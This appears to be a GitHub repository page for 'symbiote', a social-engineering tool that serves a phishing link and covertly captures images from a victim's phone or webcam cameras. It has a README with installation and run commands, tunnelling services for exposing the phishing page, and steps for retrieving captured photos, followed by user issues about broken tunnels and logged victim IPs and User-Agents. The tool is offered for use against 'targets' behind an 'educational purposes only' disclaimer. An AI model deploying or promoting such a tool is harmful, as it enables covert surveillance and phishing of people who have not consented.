hasanfirnas / symbiote

Your target's phone's front and back cameras📸 can be accessed by sending a link🔗.

#TO BE USED FOR EDUCATIONAL PURPOSES ONLY#

Symbiote is a social engineering tool designed to create a phishing page and capture webcam images. By requesting camera permission on the victim's device, this script can take pictures covertly. If you're interested in contributing to the project, we'd love to have you on board.

AVAILABLE TUNNELLING OPTIONS

1. NGROK [ACCOUNT NEEDED] (https://ngrok.com)
2. Localhost.run (http://localhost.run)
3. LOCALXPOSE [ACCOUNT NEEDED] (https://localxpose.io)

Installing (Kali Linux/Termux):

step 1 (install this before you start):

sudo apt update && upgrade
sudo apt install python -y
sudo apt install wget -y
sudo apt install php -y
sudo apt install openssh-client -y
sudo apt install jq -y
sudo ssh-keygen -q -t rsa -N '' -f ~/.ssh/id_rsa <<<y >/dev/null 2>&1

step 2:

git clone https://github.com/hasanfirnas/symbiote
cd symbiote
python3 symbiote.py

step 3:

After you got your cam file:

cd symbiote
cd CapturedData 
ls
termux-open <file_name>

PREREQUISITES:

• Python 3
• PHP
• wget

SCREENSHOT (Kali-linux):

VIDEO (step by step command):

symbiote's Issues

issue while trying to generate a link from localhost.run

When selecting second option (localhost.run):

[ RANDOM localhost URL !!]

     wait for few second.....                                                                                                                                                                 

Traceback (most recent call last):
File "/home/kali/symbiote/symbiote.py", line 312, in
selectServer(port)
File "/home/kali/symbiote/symbiote.py", line 178, in selectServer
randomServeo(port)
File "/home/kali/symbiote/symbiote.py", line 155, in randomServeo
url=(f"{f.read().split(',')[1]}")
~~~~~~~~~~~~~~~~~~~^^^
IndexError: list index out of range

Website hacking

Several major issues

1. ngrok is listed in tunnels, but broken and is unusable (doesn't return the tunnel URL)
2. symbiote receives and returns information about victim's User-Agent and IP, yet not trying to capture camera view (the request to allow usage of camera is not appearing on the webpage either).

The issue may lie in webpage permissions and/or outdated code, but I am not sure.

K

Serveo is down

Machi serveo server is down . And localxpose port forwarding url will go to sleep for few minutes. i recommand localtunnel or pakekite for port forwarding

Serveo.net is no longer a viable tunneling option as it is discontinued

Please remove from readme

The video is missing. .. how does it work ? Is it just like the other ones ?

not working

Hey its not workig

Read.me

Bro